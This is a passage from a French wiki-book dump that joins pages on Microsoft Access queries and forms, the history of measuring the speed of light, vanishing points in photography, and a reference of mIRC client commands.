plusieurs champs d'une ou plusieurs tables. C'est le moyen le plus efficace pour mettre à jour un grand nombre d'enregistrements en une seule opération. La requête Ajout: Cette requête ajoute les données qu'elle a extraites à la fin d'une table déjà existante. La requête suppression: Cette requête supprime un ou plusieurs enregistrements dans une ou plusieurs tables. La requête SQL direct: La requête de définition de données: La requête UNION: == Les Formulaires == Les formulaires permettent la saisie ou l'affichage des données. Il existe deux modes d'affichages possible pour le formulaire : L'affichage mono-enregistrement, ou mode formulaire, qui permet visualiser toutes les valeurs d'un enregistrement. L'affichage feuille de données qui permet de visualiser tous les enregistrements. === Le formulaire instantané === Il peut être de types colonnes,tableau ou feuille de données. Le formulaire est crée avec tout les champs de la table concernée. Si une légende est définie lors de la création de la table,la légende appartaitra comme libéllé du champ. === Le formulaire en colonnes simple === Le mode d'affichage est de type mono-enregistrement par defaut. Ce mode est modifié parr la commande affichage. Ce mode pertmet de choisir les champs de la table qui apparaitront dans le formulaire. === Les sous formulaires === Un sous formulaire est un formulaire présent dans un autre formulaire. Le lien entre les deux formulaires est géré sous Access. Le formulaire et le sous formulaire doivent etre basé sur les tables ou les requetes possedant un champ identique. == Les Etats == Les Etats permettent de présenter les données sous la forme d'un document imprimé. == Les Macros == Les macros permettent d'automatiser des traitements à effectuer. == Liens externes == *[http://cerig.efpg.inpg.fr/tutoriel/bases-de-donnees/sommaire.htm tutoriel] [[Catégorie:Microsoft Access]] Access 5496 22625 2005-10-06T13:49:34Z Greudin 1 [[Access]] déplacé vers [[Microsoft Access]] #redirect [[Microsoft Access]] Photographie - 06 - La vitesse de la lumière 5500 44427 2006-06-12T14:16:22Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_06}} {{EnTravaux}} Galilée semble avoir imaginé le premier que le lumière ne se déplaçait pas de façon instantanée. Il a décrit une expé­rience destinée à en évaluer la vitesse, à l'aide de lanternes disposées sur deux collines des environs de Florence. La première détermination de cette vitesse a eu lieu à l'Observatoire de Paris en 1676. En étudiant les mouvements des satellites de Jupiter, l'astronome danois Ole Rømer remarqua des différences entre ses observations et les études théoriques, différences qu'il attribua à la distance entre la Terre et Jupiter. A partir des valeurs connues du diamètre de l'orbite terrestre et de la distance de Jupiter, il trouva 225 000 km/s. Ole Rømer est aussi l'inventeur de la lunette méridienne. Ce résultat fut affiné en 1725 par l'astronome anglais James Bradley grâce au phénomène appelé « aberration des étoiles ». Hippolyte Fizeau (1819-1896), alors âgé d'à peine 20 ans, améliora la technique du daguerréotype. Il réalisa en 1849, entre le Mont Valérien à Suresnes et la butte de Montmartre, la première mesure terrestre de la vitesse de la lumière. Son système, conservé à l'École Polytechnique, comporte un disque muni de 720 dents et deux miroirs, dont un semi-réfléchissant. La lumière réfléchie par le premier miroir traverse une échancrure de la roue, se réfléchit sur le second miroir et revient à l'observateur après avoir parcouru deux fois les 8633 m du trajet. L'appareillage comporte aussi deux lunettes permettant l'aller et le retour de la lumière. Si on tourne très lentement la roue, la lu­mière qui passe par une échancrure a le temps de revenir par le même chemin. Dans l’oculaire, on observe alors un clignotement, la lumière apparaît et disparaît alternativement selon que les dents lui font obstacle ou non. Si on accélère quelque peu la rotation, le clignotement disparaît à cause de la persistance rétinienne et l'on ne perçoit plus qu'une lumière continue. C'est ce même phénomène qui fait qu'au cinéma les mouvements semblent continus alors que la rétine perçoit, à chaque seconde, 24 images successives séparées par des "trous noirs" pendant lesquels le film avance brutalement. Si la roue tourne suffisamment vite, le faisceau parti par une échancrure trouve au retour une dent qui lui ferme le passage. En mesurant la vitesse de rotation pour laquelle cela se produit (12,6 tours/seconde) et la distance parcourue par la lumière pendant un aller-retour (17 266 m), on calcule facilement la vitesse de la lumière : En une seconde, le nombre de dents qui défilent devant un point fixe est 12,6 x 720 = 9072 Le temps de passage d'une dent à un creux est donc 1 / 18 144 = 0,000551 seconde. En une seconde la lumière parcourt donc 18 144 fois la distance Suresnes-Montmartre aller-retour, soit finalement : 18 144 x 17 266 = 313 000 000 m Fizeau trouva environ 315 000 km/s. Cette valeur était relativement imprécise, à cause de la difficulté de mesurer avec précision la vitesse de rotation de la roue qui correspond exactement à l'extinction du faisceau lumineux. En 1862, partant du même principe mais en utilisant un miroir tournant à 24 000 tours/min, Léon Foucault réussit à obtenir une valeur beaucoup plus précise que celle de Fizeau, dans l'enceinte même de l'Observatoire de Paris. On sut alors que la vitesse de la lumière était légèrement inférieure à 300 000 km/s. En 1878, avec un montage que l'on pourrait qualifier d'assez rudimentaire, Albert Abraham Michelson et Edward William Morley ont obtenu une valeur bien meilleure encore : 299.853 km/s à 50 km/s près. En fait Michelson et Morley, par leur expérience, ont fait voler en éclats toute la physique du 19e siècle ! En voulant tenir compte de la vitesse de la terre pour corriger leurs mesures, ils se sont aperçus non sans surprise que la vitesse de la lumière était la même dans toutes les directions et dans tous les espaces, que ceux-ci soient mobiles ou non. Donc, lorsque l'on se déplace dans le sens de la lumière, les distances se contractent, ou alors le temps se dilate ... La théorie de la relativité, développée un peu plus tard par Einstein, interprète ce phénomène pour le moins déroutant. Dans le vide, toutes les ondes électromagnétiques se déplacent avec la même célérité, qui vaut approximativement c = 300 000 km/s. C'est toujours cette valeur que l'on évoque en parlant, sans autre précision, de la "vitesse de la lumière". Il s'agit là d'une constante universelle que l'on cherche toujours à mesurer avec le plus de précision possible. On est arrivé à c = 299 792 458 m/s. La lumière se déplace plus rapidement dans le vide que dans tous les milieux matériels transparents, que ces derniers soient gazeux, liquides ou solides. On trouve ainsi : * dans l'air : environ 299 780 km/s, on ne peut pas donner de valeur plus précise car cette vitesse varie selon la pression et l'humidité ; la différence avec la vitesse dans le vide est très petite (0,03 %) et on n'en tient généralement pas compte, sauf dans quelques cas particuliers qui seront envisagés ultérieurement. * dans l'eau : elle vaut à peu près 3/4 de la vitesse dans le vide, soit environ 225 000 km/s. * dans le verre « ordinaire » : on ne fait pas de grosse erreur en admettant qu'elle est proche des 2/3 de la vitesse dans le vide, donc en adoptant la valeur 200 000 km/s * dans les verres d'optique on peut admettre une gamme de vitesses allant grosso modo de 215 000 à 170 000 km/s, selon la composition. * dans le diamant : ce matériau est exceptionnel par ses qualités optiques, la lumière s'y déplace moins vite que dans tous les autres matériaux usuels : 125 000 km/s "seulement", il en résulte des propriétés très particulières. Ces valeurs varient aussi en fonction de la longueur d'onde, donc de la couleur. En traversant un milieu matériel, le bleu et le violet sont plus ralentis que le rouge. Après avoir été d'abord déterminé à partir du méridien terrestre, puis en 1889 à partir du prototype international en platine, le mètre a été redéfini en 1960 comme étant égal à 1 650 763,73 fois la longueur d'onde dans le vide d'une radiation orangée de l'atome de krypton 86. En 1983, compte tenu des progrès des mesures, on a donné une nouvelle définition fondée sur la vitesse de la lumière : le mètre est devenu « la longueur du trajet parcouru dans le vide par la lumière pendant 1/299 792 458 seconde ». Photographie - 30 - Photographie et perspective/Autres utilisations des points de fuite 5503 22689 2005-10-08T19:20:19Z Jean-Jacques MILAN 114 [[B:fr:Photographie - 30 - Photographie et perspective]] déplacé vers [[Photographie - 30 - Photographie et perspective/Autres utilisations des points de fuite]] {{Photographie}} Les façons de jouer avec les points de fuite pour produire des photographies bien construites, où l'oeil peut se « promener », sont innombrables. {| border="1" cellpadding="5" cellspacing="0" |- |[[Image:Metro Athen Marousi.jpg|200px|center]] |'''Métro d'Athènes, station Marousi'''<br><br> Le point de fuite à gauche donne l'impression que l'on attend le prochain train. Le précédent vient apparamment de partir, si l'on en croit les quais vides de passagers. La vie manque mais la géométrie y trouve son compte. |- |[[Image:Hagel in Finnland.jpg|240px|center]] |'''Pluie en Finlande'''<br><br> Hé oui, on peut aussi faire des photos par temps de pluie. Celle-ci produit une impression de désaquilibre pour plusieurs raisons, d'abord elle est nettement penchée, ensuite le point de fuite de la partie avant de la route est hors du cadre, puis la route, après avoir en quelque sorte fait une fugue en-dehors de l'image, repart vers un autre point de fuite physiquement présent. |- |[[Image:TokyoHighways1084.jpg|240px|center]] |'''Autoroute au centre de Tokyo'''<br><br> Ici le point de fuite principal ne provient pas de lignes droites mais de courbes qui convergent vers la droite de l'image. Cette impression de convergence est accentuée par la présence des lignes blanches tracées au sol et des automobiles qui se dirigent vers la droite. |- |[[Image:Nt-castelo-belmonte8.jpg|160px|center]] |'''Château de Belmonte, Portugal'''<br><br> La chaussée vivement éclairée est une zone claire vers laquelle se dirige immédiatement le regard. On attend ici ce qui pourrait bien venir de la partie cachée. En retournant la photo droite-gauche, on aurait une toute autre impression, provoquée par la curiosité de suivre nous-mêmes ce chemin pour voir ce qui est derrière le mur. C'est l'exemple typique d'une photo qui, vue dans un sens ou dans l'autre, aura une signification différente en fonction des habitudes de lecture du pays. Noter que la limite brutale de l'ombre est un des éléments géométriques forts de cette photographie. Presque alignée avec le haut du mur qui la forme, elle sépare l'image en une partie éclairée et une partie sombre. |- |[[Image:New York 1999 1.jpg|240px|center]] |'''Pont de Brooklyn, New-York'''<br><br> Sur une perspective, deux droites sont parallèles quand elles ont le même point de fuite mais ici, ce sont des lignes divergentes qui deviennent parallèles, au moins sur une partie très visible de leur longueur. L'œil a évidemment du mal à y croire et l'impression produite est curieuse. |- |[[Image:Stromschiene Hamburger S-Bahn.jpg|240px|center]] |'''Voie ferrée en Allemagne'''<br><br> En l'absence de tout repère vertical, on peut facilement montrer que cette photographie est penchée : nous sommes dans une portion de ligne droite, le dévers de la voie est nul, celle-ci est dans un plan horizontal. Son point de fuite et celui des traverses devraient se trouver tous deux au même niveau sur la ligne d'horizon, or le second est beaucoup plus haut que le premier. Cette inclinaison vers la droite est dans le même sens que la convergence des rails et cela donne à cette photo, dont le but est au départ uniquement documentaire, un certain dynamisme. |- |[[Image:Loretto Chapel.jpg|160px|center]] |'''Loretto Chapel''' (on n'en sait pas plus ...)<br><br> Ce superbe escalier en hélice cylindrique donne un bel effet d'élan vers le haut. |- |[[Image:Uberlândia-MG 002- 30.jpg|240px|center]] |'''Brésil'''<br><br> Curieuse photographie prise depuis une automobile en train de dépasser un autocar. Mal de mer asuré ! |- |[[Image:DSCN0107.JPG|240px|center]] |'''Barcelone, Sagrada Familia'''<br><br> Les flèches des grues contrebalancent légèrement le basculement des tours mais le parti pris de cette inclinaison reste discutable. |- |[[Image:C-141 Starlifter contrail.jpg|160px|center]] |'''Starlifter C-141 au-dessus de l'Antarctique'''<br><br> Un éclairage fabuleux et les traînées de vapeur judicieusement placées donnent une impression de mouvement et de puissance. |- |[[Image:Bridge and cables.jpg|160px|center]] |'''Pont et câbles'''<br><br> Une photographie très graphique sur fond de ciel animé. |- |} B:fr:Photographie - 30 - Photographie et perspective 5504 22690 2005-10-08T19:20:19Z Jean-Jacques MILAN 114 [[B:fr:Photographie - 30 - Photographie et perspective]] déplacé vers [[Photographie - 30 - Photographie et perspective/Autres utilisations des points de fuite]]: erreur de nommage #redirect [[Photographie - 30 - Photographie et perspective/Autres utilisations des points de fuite]] Programmation mIRC 5508 move=:edit= 42657 2006-05-17T14:42:27Z Cdang 1202 classement alpha catég {{EnTravaux}} * [[Programmation_mIRC_Introduction|Introduction]] *[[Programmation_mIRC_Se_connecter_à_un_serveur|Se connecter à un serveur]] *[[Programmation_mIRC_Joindre_un_salon|Joindre un salon]] *[[Programmation_mIRC_Chatter_en_privé|Chatter en privé]] *[[Programmation_mIRC_Envoyer_et_recevoir_des_fichiers|Envoyer et recevoir des fichiers]] *[[Programmation_mIRC_Changer_les_couleurs|Changer les couleurs]] *Options de réglage. *[[Programmation_mIRC_Commandes_IRC_de_base|Commandes IRC de base]] *Commandes mIRC **[[Programmation_mIRC_Commandes_mIRC_1|Commandes mIRC (partie1)]] **[[Programmation_mIRC_Commandes_mIRC_2|Commandes mIRC (partie2)]] *[[Programmation_mIRC_Alias|Alias]], [[Programmation_mIRC_Popups|Popups]], et [[Programmation_mIRC_Remote|Remote]]. *[[Programmation_mIRC_Variables|Variables]] et [[Programmation_mIRC_Identifieurs|Identifieurs]]. *[[Programmation_mIRC_DLL_mIRC|Aides pour quelques DLLs]] *[[Programmation_mIRC Autres_caractéristiques|Autres caractéristiques]]. *[[Programmation_mIRC Renseignements|Renseignements]]. *[[Programmation_mIRC Droits_d'auteurs_et_autorisations|Droits d'auteurs et autorisations]] Une partie de ce document est une traduction de l'aide officielle de mIRC, disponible sur [http://www.mirc.com www.mirc.com], et © Khaled Mardam-Bey. [[Catégorie:Informatique|MIRC]] [[en:mIRC programmation]] [[nl:Programmation mIRC]] Modèle:Parammirc 5509 22721 2005-10-09T14:42:47Z MagnetiK 657 Modification Paramètres : {{{1}}} Programmation mIRC Commandes mIRC 1 5510 34820 2006-02-26T10:31:46Z 81.11.173.154 /* /background */ {{Programmation mIRC}} ==/ajinvite== {{Parammirc|[on / off]}} Active ou désactive l'auto-join. ==/alias == {{Parammirc|[nomdefichier] <nomd'alias> <commande>}} Ajoute, retire, remplace un alias; il est limité à des alias d'une seule ligne et n'affectera pas des alias de ligne multiple. {{Code mIRC|/alias /moo /me moos!}} Cela remplacera le premier alias correspondant à la nouvelle commande. Pour enlever des alias existants : {{Code mIRC|/alias /moo}} Pour ajouter un alias à un fichier d'alias spécifique, vous devriez utiliser : {{Code mIRC|/alias moo.txt /moo /me moos!}} Si vous ne spécifiez pas un nom de fichier, il ira dans le premier nom de fichier dans lequel l'alias existe, ou s'il n'existe pas alors il utilise le premier alias chargé. ==/amsg== {{Parammirc|<message>}} Ceci et la commande /ame envoient un message ou action spécifique à toutes les fenêtres salons ouvertes. ==/anick== {{Parammirc|<pseudonyme>}} Change votre pseudonyme alternatif. ==/background== {{Parammirc|[-aemsgdluhcfnrtpx] [fenêtre] [nomdefichier]}} Change le réglage de l'image de fond d'une fenêtre. Cela peut être changé via une fenêtre Menu Système. {{Lsparammirc|-a|fenêtre active}} {{Lsparammirc|-m|fenêtre principale mIRC}} {{Lsparammirc|-s|fenêtre statut}} {{Lsparammirc|-g|fenêtre finger}} {{Lsparammirc|-d|fenêtre message unique}} {{Lsparammirc|-e|rêglé par défaut }} {{Lsparammirc|-cfnrtp|voir ci-dessous }} : centré '''(c)''', Méthode qui affiche l'image au centre de l'écran dans sa taille originelle. : rempli '''(f)''', Méthode qui modifie l'image de façon à remplir la fenêtre entière. : normal '''(n)''', Méthode qui affiche l'image dans ses dimensions originelles en positionnant l'image en selon l'origine zéro de la fenêtre (le coin en haut à gauche de la fenêtre). : étiré '''(r)''', Méthode qui affiche l'image en l'étirant au maximum mais en gardant le ratio hauteur/largeur de l'image. : tuile '''(t)''', Méthode dupliquant l'image avec ses dimensions originelles autant de fois que nécessaire dans la fenêtre. : photo '''(p)''', Méthode qui affiche l'image en haut à droite de la fenêtre comme s'il s'agissait d'une incrustation d'image dans une image. {{Lsparammirc|-l|barre d'outils}} {{Lsparammirc|-u|boutons de la barre d'outils}} {{Lsparammirc|-h|switchbar}} Vous pouvez cliquer du bouton droit de la souris dans la barre d'outils/switchbar pour afficher un menu contextuel pour le changement de ces réglages. Les boutons de la barre d'outils peuvent utiliser la couleur RGB 255,0,255 pour la transparence, le BMP doit être de la même forme que dans les ressources mIRC. Il devrait être 16 ou 256 couleurs BMP. {{Lsparammirc|-x|aucune image de fond}} {{Note mIRC|Le nom de la fenêtre devrait seulement être spécifié si aucun paramètre de fenêtre n'est spécifié. Le nom de fichier n'a pas besoin d'être spécifié si vous changez seulement la méthode d'affichage.}} ==/ban== {{Parammirc|[-kruN] [#salon] <pseudonyme|adresse> [type]}} Bannis quelqu'un du salon en cours en utilisant leur adresse. Pour faire cela, il doit être fait un /userhost sur l'utilisateur, ce qui donne l'adresse de l'utilisateur, et alors il fait un /mode # +b <adresse utilisateur>. {{Lsparammirc|-k|mIRC accomplit une combinaison ban/kick sur le pseudonyme.}} {{Lsparammirc|-uN|mIRC s'arrête '''N''' secondes avant d'enlever le bannissement.}} {{Lsparammirc|-r|/ban retire le ban du type spécifié pour ce pseudonyme, par exemple /ban -r pseudo 2}} Si vous ne spécifiez pas un type de ban, alors mIRC utilise le pseudo!*user@host entier pour faire le bannissement. Si vous bannissez une adresse IP, alors les jokers remplacent le dernier nombre de l'adresse IP. Si vous êtes sur un salon, alors la spécification #salon n'est pas nécessaire. Si vous spécifiez une adresse avec caractères de remplacement il est utilisé tel quel, si vous spécifiez une adresse complète alors le masque type y est appliqué. Pour une liste des types de bannissement, voir l'identifieur $mask. {{Note mIRC|Cette commande utilise l'IAL maintenue par mIRC.}} ==/beep== {{Parammirc|<nombre> <délai>}} Bipe un nombre de fois avec un délai. ==/channel== {{Parammirc|[#salon]}} Affiche la fenêtre central de salon pour le salon où vous êtes actuellement. Vous pouvez également spécifier un nom de #salon pour ouvrir le central de salon pour un salon que vous avez déjà joint mais n'est pas la fenêtre active. ==/clear== {{Parammirc|[-sghlc] [nomdefenêtre]}} Efface le tampon de la fenêtre en cours. Si vous spécifiez un nom de fenêtre, le tampon de la fenêtre sera effacé. {{Lsparammirc|-s|efface la fenêtre statut.}} {{Lsparammirc|-g|efface la fenêtre finger. }} {{Lsparammirc|-l|efface la liste d'une fenêtre personnalisée.}} {{Lsparammirc|-c|efface l'historique des clics de souris dans une fenêtre image. }} {{Lsparammirc|-h|efface l'historique de commande de la boite d'édition pour une fenêtre. }} ==/clearall== {{Parammirc|[-snqmtgu]}} Efface les buffers des fenêtres spécifiées, où : {{Lsparammirc|s|statut}} {{Lsparammirc|n|salon}} {{Lsparammirc|q|privé}} {{Lsparammirc|m|fenêtre message}} {{Lsparammirc|t|chat}} {{Lsparammirc|g|finger}} {{Lsparammirc|u|personnalisé}} Si aucun paramètre n'est spécifié, toutes les fenêtres sont effacées. ==/clipboard== {{Parammirc|[-an] <texte>}} Copie le texte spécifié dans le bloc-notes. {{Lsparammirc|-a|fait ajouter le texte à tout texte existant dans le bloc-notes. }} {{Lsparammirc|-n|ajoute un $crlf au texte.}} ==/close== {{Parammirc|[-icfgms@] [pseudo1] ... [pseudoN]}} Ferme toutes les fenêtres du type spécifié et des pseudonymes spécifiés. Si aucun pseudonyme n'est donné, toutes les fenêtres du type spécifié sont fermées. Le type de fenêtre est dénoté par : {{Lsparammirc|c|pour chat}} {{Lsparammirc|f|pour fserve}} {{Lsparammirc|g|pour get}} {{Lsparammirc|i|pour les fenêtres dcc inactifs}} {{Lsparammirc|m|pour message (privé)}} {{Lsparammirc|s|pour send}} {{Lsparammirc|@|pour les fenêtres personnalisées}} Vous pouvez spécifier la '''N'''ième fenêtre pour -cfgs en ajoutant un nombre, par exemple /close -s4 pseudo, fermerait le 4ème dcc send ouvert à pseudo. Vous pouvez également utiliser un joker dans le nom de la fenêtre et toutes les fenêtres correspondantes seront fermées. ==/color== {{Parammirc|[-lrs] <nom> <index>}} Vous permet de changer les réglages de couleur pour les items dans le dialogue des couleurs. {{Lsparammirc|-l|recharge les réglages de couleur du fichier mirc.ini.}} {{Lsparammirc|-r|réinitialise la '''N'''ième couleur dans la palette des 16 couleurs à sa valeur RGB par défaut, avec /color -r <N>. Pour changer la couleur de la Nième couleur dans la palette des 16 couleurs à une nouvelle valeur, vous pouvez utiliser /color <index> <rgb>}} Pour changer la couleur d'un item de texte dans le dialogue de couleur, vous pouvez spécifier le nom de l'item, par exemple 'Normal text', suivi d'un nouvel index de palette. {{Lsparammirc|-s|change le schème actif, avec /color '''-s''' <nom du schème>}} ==/copy== {{Parammirc|-ao <nom de fichier> <nom de fichier>}} Copie un fichier dans un autre nom de fichier ou dossier. Vous pouvez également utiliser des jokers pour le nom de fichier source, et un nom de dossier pour la destination. {{Lsparammirc|-o|écrase un fichier s'il existe.}} {{Lsparammirc|-a|ajoute le premier fichier au second.}} ==/creq== {{Parammirc|[+m/-m] [ask / auto ignore]}} C'est la ligne de commande équivalente au réglage du bouton radio requête DCC Chat dans le dialogue des options DCC (voir /sreq ci-dessous). {{Lsparammirc|+m/-m|active/désactive la minimisation.}} ==/ctcpreply== {{Parammirc|<pseudo> <ctcp> [message]}} Envoie une réponse au ctcp query. {{Code mIRC|/ctcpreply goat HELP aucune aide disponible.}} ==/debug== {{Parammirc|[-cinpt] [N] [on / off / @fenêtre / nomdefichier] [identifieur] }} Fait ressortir les messages raw du serveur, qu'ils soient entrants ou sortants, vers un fichier debug.log ou une @fenêtre personnalisée. */debug -n @moo ouvre une @fenêtre personnalisée minimisée */debug -c off désactive le débogue et ferme la @fenêtre personnalisée associée */debug –pt attache ou date des messages */debug N @moo utilise la couleur N pour les messages Le paramètre '''-i''' appelle l'identifieur avant qu'une ligne de débogue soit enregistré. La valeur de retour de l'identifieur est utilisée comme ligne de débogue. L'identifieur '''$debug''' retourne le nom du fichier de débogue ou la @fenêtre. {{Note mIRC|/debug fonctionne indépendamment pour chaque connexion de serveur.}} ==/describe== {{Parammirc|<pseudo/salon> <message>}} Envoit une action au pseudonyme ou au salon spécifique, le même que la commande /me, excepté que /me est utilisé qu'il soit un privé ou un salon, donc vous n'avez pas besoin de spécifier la cible quand vous l'utilisez. ==/disconnect== Force une déconnexion du serveur. C'est différent de la commande /quit qui envoie un message de quit au serveur et attend que le serveur vous déconnecte. ==/dll== {{Parammirc|<nom.dll> <procname> [data]}} Cela vous permet d'appeler des routines dans une DLL conçue pour fonctionner avec mIRC. ==/dns== {{Parammirc|[-ch] [pseudo/adresse]}} Résout une adresse. Si mIRC voit un "." dans le nom que vous spécifiez, il suppose que c'est une adresse et essaie de la résoudre. Autrement, il suppose que c'est un pseudonyme et accomplit un /userhost pour trouver l'adresse de l'utilisateur et le résout alors. Si vous spécifiez une adresse IP, il cherche le nom d'hôte. Vous pouvez mettre en attente de multiples requêtes /dns, et vous pouvez voir la liste d'attente en cours en utilisant /dns sans paramètre. {{Lsparammirc|-c|efface toutes les requêtes DNS en attente, excepté celle en cours de progression.}} {{Lsparammirc|-h|force le /dns à traiter le paramètre comme un nom d'hôte. }} {{Note mIRC|Parce que le DNS a un protocole bien défini, toutes les fonctions relatives au DNS en cours, par exemple se brancher à un serveur, doivent être résolues avant toute autre action du même type. Ceci veut donc dire que si une réponse de DNS ne revient pas, les demandes ultérieures devront attendre que cette demande expire avant de pouvoir être exécutée.}} ==/dqwindow== {{Parammirc|[on/off/show/hide/min]}} Manipule la fenêtre message unique. ==/ebeeps== {{Parammirc|[on / off]}} Active ou désactive les sons dans le dialogue Sounds. ==/echo== {{Parammirc|[color] [-cdeghiNtsaqlbfnmr] [nom de couleur] [#salon/[=]pseudo] <texte>}} Imprime le texte dans la fenêtre spécifiée en utilisant la couleur spécifiée (0 à 15). {{Code mIRC|/echo 3 #mIRC Testing}} Imprime "Testing" en couleur verte dans la fenêtre salon #mIRC, en supposant qu'il est déjà ouvert. Si un salon/pseudonyme n'est pas spécifié, le paramètre -s fait écho dans la fenêtre statut, le paramètre -d fait écho dans la fenêtre message unique, et le paramètre -a fait écho dans la fenêtre active . {{Lsparammirc|-e|ferme la ligne dans des séparateurs.}} {{Lsparammirc|-iN|indente la ligne de N caractères. }} {{Lsparammirc|-h|force les lignes à se découper donc le redimensionnement de la fenêtre ne change pas la ligne. }} {{Lsparammirc|-t|préfixe la ligne de l'horodateur si l'horodatage global a été activé ou si l'horodatage sur cette fenêtre a été activé. }} {{Lsparammirc|-q|fait qu'il n'affiche pas le texte s'il est appelé d'un alias en utilisant le préfixe .}} {{Lsparammirc|-l|fait qu'il applique les réglages du highlight à la ligne qui est affichée. }} {{Lsparammirc|-bf|fait qu'il applique les réglages du bip/flash dans la fenêtre ou il fait l'écho. }} {{Lsparammirc|-n|empêche l'écho de faire clignoter l'icône de la fenêtre switchbar. }} {{Lsparammirc|-m|indique que la ligne devrait être traitée comme un message utilisateur, pas un évènement.}} {{Lsparammirc|-g|empêche la ligne d'être chargée dans un fichier d'enregistrement. }} {{Lsparammirc|-r|applique les réglages d'enlèvement des codes dans le dialogue messages.}} {{Lsparammirc|-c|utilise la couleur spécifiée du dialogue des couleurs. }} {{Note mIRC|Ce texte est uniquement affiché dans votre propre fenêtre, il n'est pas envoyé au serveur, personne d'autre ne peut le voir.}} ==/editbox== {{Parammirc|[-safnop/[ = ]fenêtre] <texte>}} Met le texte spécifié la boite d'édition de la fenêtre en cours. {{Lsparammirc|-s|indique la fenêtre statut.}} {{Lsparammirc|-a|indique la fenêtre active.}} {{Lsparammirc|-f|met le focalisation sur la boite d'édition. }} {{Lsparammirc|-p|indique qu'un espace devrait être ajouté au texte. }} {{Lsparammirc|-n|remplit la boite d'édition et appuie sur la touche entrer. }} {{Lsparammirc|-o|applique la commande de la seconde boite d'édition dans une fenêtre salon. }} Pour spécifier une fenêtre dcc chat, préfixer le pseudonyme d'un signe égal =. ==/emailaddr== {{Parammirc|<adresse>}} Change le courriel dans le dialogue de connexion. ==/exit== Ferme mIRC. ==/filter== {{Parammirc|[-asdfkwxnpriocteubglLz] [n-n2] [c s] <fichier d'entrée / id dialogue / alias>}} {{Parammirc|<fichier de sortie / id dialogue > [alias] <texte correspondant> }} Cette commande scanne les lignes de texte dans une fenêtre ou fichier ou plusieurs d'entre eux contiennent le texte correspondant, ils sont écrits dans une autre fenêtre ou fichier qui peut être alors utilisé. Le fichier d'entrée peut être un nom de fichier ou de fenêtre (normal ou personnalisé). Le fichier de sortie peut être un nom de fichier ou de fenêtre personnalisée. Vous devez spécifier les paramètres '''-fw''' si les noms sont ambigus par exemple. {{Code mIRC|/filter -ff in.txt out.txt *mirc*}} Cela indique que ce sont des fichiers, et : {{Code mIRC|/filter -wf #in.txt #out.txt *help*}} Indique que le premier est actuellement un nom de fenêtre, et le second un nom de fichier. {{Lsparammirc|-a|trie les lignes filtrées en appelant l'[alias] optionnel. L'alias passe les deux lignes dans $1 et $2, il doit comparer ceux-ci et retourner -1, 0 ou 1 pour indiquer un ordre de tri relatif de ces lignes par rapport aux autres. }} {{Lsparammirc|-x|exclue les lignes correspondantes.}} {{Lsparammirc|-n|préfixe les lignes d'un numéro de ligne.}} {{Lsparammirc|-s|met la fenêtre statut comme fichier d'entrée.}} {{Lsparammirc|-d|met la fenêtre message unique comme fichier d'entrée.}} {{Lsparammirc|-p|ajoute la sortie de texte dans une fenêtre personnalisée.}} {{Lsparammirc|-r|spécifie la portée de lignes n à n2 pour le filtrage. }} {{Lsparammirc|-b|enlève les codes BURK dans le texte correspondant. }} {{Lsparammirc|-g|indique que le texte correspondant est une expression régulière. }} {{Lsparammirc|-z|conserve les couleurs de la ligne lors du filtrage entre fenêtres personnalisées. }} {{Lsparammirc|-k|indique que vous avez spécifié un <alias> en sortie au lieu du nom d'une fenêtre. L'alias sera appelé avec le résultat de chaque ligne filtrée. }} {{Lsparammirc|-i|indique que vous avez fourni une [id dialogue] d'un contrôle dialogue personnalisé comme entrée.}} {{Lsparammirc|-o|indique que vous avez fourni une [id dialogue] d'un contrôle dialogue personnalisé comme fichier de sortie.}} {{Lsparammirc|-c|efface le fichier/la fenêtre de sortie avant de l'écrire.}} {{Lsparammirc|-t|trie la sortie en se basant sur [c s], colonne C utilisant le caractère S comme séparateur de colonne}} {{Lsparammirc|-e|spécifie un tri descendant, et -u un tri numérique.}} {{Lsparammirc|-l|filtre à partir de la liste de la première fenêtre, et -L filtre dans la liste de la seconde fenêtre. }} Vous pouvez filtrer des lignes blanches en spécifiant pour texte correspondant. Cette commande remplit également l'identifieur $filtered du nombre de correspondances trouvées, s'il y en a. {{Note mIRC|Si l'entrée et la sortie ont le même fichier/fenêtre, mIRC traitera la requête correctement.}} ==/findtext== {{Parammirc|-n <texte>}} Cela recherche dans la fenêtre active le texte spécifié (idem que Contrôle+F). ==/flash== {{Parammirc|[-wbrN] [fenêtre] <texte>}} Cela flashe la fenêtre mIRC/l'icône avec texte dans la barre de titre mais seulement si mIRC n'est pas l'application active. {{Lsparammirc|-b|fait que mIRC bipe chaque seconde.}} {{Lsparammirc|-w|fait que mIRC joue un son flash spécifié dans la section Event Beeps.}} {{Lsparammirc|-rN|fait que mIRC répète le flash seulement N fois.}} ==/flushini== {{Parammirc|<nomdefichier>}} Force le fichier INI spécifié à s'enregistrer sur le disque dur. Les fichiers INI sont mis en mémoire cache, donc vous pouvez faire cela pour être sûr que votre INI soit proprement mis à jour. ==/font== {{Parammirc|[-asgbd/fenêtre] <taille de fonte> <nom de fonte> }} Cela vous permet de changer la police de caractères de la fenêtre en cours. Si aucun paramètre n'est spécifié, le dialogue Font apparaît, autrement les paramètres spécifiés sont utilisés. Vous pouvez mettre une police de caractères grasse en utilisant le paramètre -b. {{Lsparammirc|-a|applique les réglages à la fenêtre active, -s à la fenêtre statut, et -g à la fenêtre finger.}} {{Lsparammirc|-d|met la police par défaut pour ce type de fenêtre, par exemple pour tous les salons ou tous les chats.}} {{Lsparammirc|-z|efface tous les réglages de police de caractères et met toutes les fenêtres à la police de caractère spécifiée. Si aucune police de caractère n'est spécifiée, toutes les fenêtres sont mises sur le réglage de la police de caractère par défaut. }} {{Note mIRC|Si vous utilisez un nombre négatif pour la taille de la police de caractères, il correspondra à la taille des polices de caractères dans le dialogue Font.}} ==/fullname== {{Parammirc|<nom>}} Change le nom complet dans le dialogue de connexion. ==/help== {{Parammirc|[mot clef]}} Affiche la section dans le fichier d'aide mIRC qui correspond au mot clé spécifié. ==/hop== {{Parammirc|[-cn] [#salon] [message]}} Part du salon en cours et joint un nouveau. Si aucun salon n'est spécifié, il part et rejoint du salon en cours sans fermer la fenêtre. {{Lsparammirc|-c|fait un cycle du salon spécifié en y partant et rejoignant.}} {{Lsparammirc|-n|minimise la fenêtre salon.}} ==/join== {{Parammirc|[-inx] <#salon>}} C'est la commande IRC standard pour un joindre un salon. {{Lsparammirc|-i|fait que vous joignez un salon où vous avez été invité.}} {{Lsparammirc|-n|minimisent la fenêtre salon quand vous le joignez.}} {{Lsparammirc|-x|maximisent la fenêtre salon quand vous le joignez.}} ==/linesep== 